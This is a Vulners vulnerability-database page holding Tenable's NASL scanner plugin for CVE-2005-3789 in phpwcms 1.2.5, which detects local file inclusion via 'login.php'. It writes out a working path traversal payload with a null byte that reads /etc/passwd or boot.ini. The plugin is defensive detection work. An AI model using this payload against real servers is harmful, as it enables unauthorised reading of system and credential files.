| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
| CVE-2005-3789 | 24 Nov 200511:00 | – | cve | |
| CVE-2005-3789 | 24 Nov 200511:00 | – | cvelist | |
| EUVD-2005-3784 | 7 Oct 202500:30 | – | euvd | |
| CVE-2005-3789 | 24 Nov 200511:03 | – | nvd |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/archive/1/416675 |
| cve | www.cve.mitre.org/cgi-bin/cvename.cgi |
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(20216);
script_version("1.28");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2005-3789");
script_bugtraq_id(15436);
script_name(english:"phpwcms 1.2.5 Multiple Vulnerabilities");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple vulnerabilities.");
script_set_attribute(attribute:"description", value:
"The remote host is running phpwcms, an open source content management
system written in PHP.
The version of phpwcms installed on the remote host does not sanitize
input to the 'form_lang' parameter of the 'login.php' script before
using it in PHP 'include()' functions. An unauthenticated attacker
can exploit this issue to read local files and potentially to execute
arbitrary PHP code from local files. A similar issue affects the
'imgdir' parameter of the 'img/random_image.php' script, although that
can only be used to read local files.
In addition, the application fails to sanitize user-supplied input
before using it in dynamically-generated pages, which can be used to
conduct cross-site scripting and HTTP response splitting attacks.
Some of these issues require that PHP's 'register_globals' setting be
enabled.");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/416675");
script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
script_set_attribute(attribute:"vuln_publication_date", value:"2005/11/14");
script_set_attribute(attribute:"patch_publication_date", value:"2005/11/21");
script_set_attribute(attribute:"plugin_publication_date", value:"2005/11/16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:phpwcms:phpwcms");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("phpwcms_detect.nasl");
script_require_keys("www/phpwcms", "www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");
port = get_http_port(default:80, embedded: 0, php: TRUE);
install = get_install_from_kb(
appname : 'phpwcms',
port : port,
exit_on_fail : TRUE
);
dir = install['dir'];
# Make sure login.php exists.
r = http_send_recv3(method: "GET", item: dir + "/login.php", port:port, exit_on_fail: TRUE);
if (isnull(r)) exit(0);
res = r[2];
# If it does and looks like it's from phpwcms...
if (
"phpwcms" >< res &&
'<input name="form_loginname"' >< res
)
{
# Try to read a file.
foreach file (make_list("/etc/passwd", "boot.ini"))
{
# nb: the app conveniently strips any slashes added by magic_quotes_gpc!
postdata = "form_lang=../../../../../../../../../../../../" + file + "%00";
r = http_send_recv3(
method : "POST",
item : dir+"/login.php",
port : port,
content_type : "application/x-www-form-urlencoded",
data : postdata,
exit_on_fail : TRUE
);
res = r[2];
# There's a problem if it looks like one of the files...
if (
egrep(pattern:"root:.*:0:[01]:", string:res) ||
"[boot loader]">< res
)
{
if (report_verbosity > 0)
{
contents = res - strstr(res, "<!DOCTYPE HTML PUBLIC");
if (!contents) contents = res;
contents = data_protection::redact_etc_passwd(output:contents);
report = '\n' + contents;
security_warning(port:port, extra:report);
}
else security_warning(port);
set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
exit(0);
}
else exit(0, "Could not obtain local file from phpwcms on port "+port+".");
}
}
else exit(0, "The phpwcms install at '"+dir+"' on port "+port+" is not affected.");
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation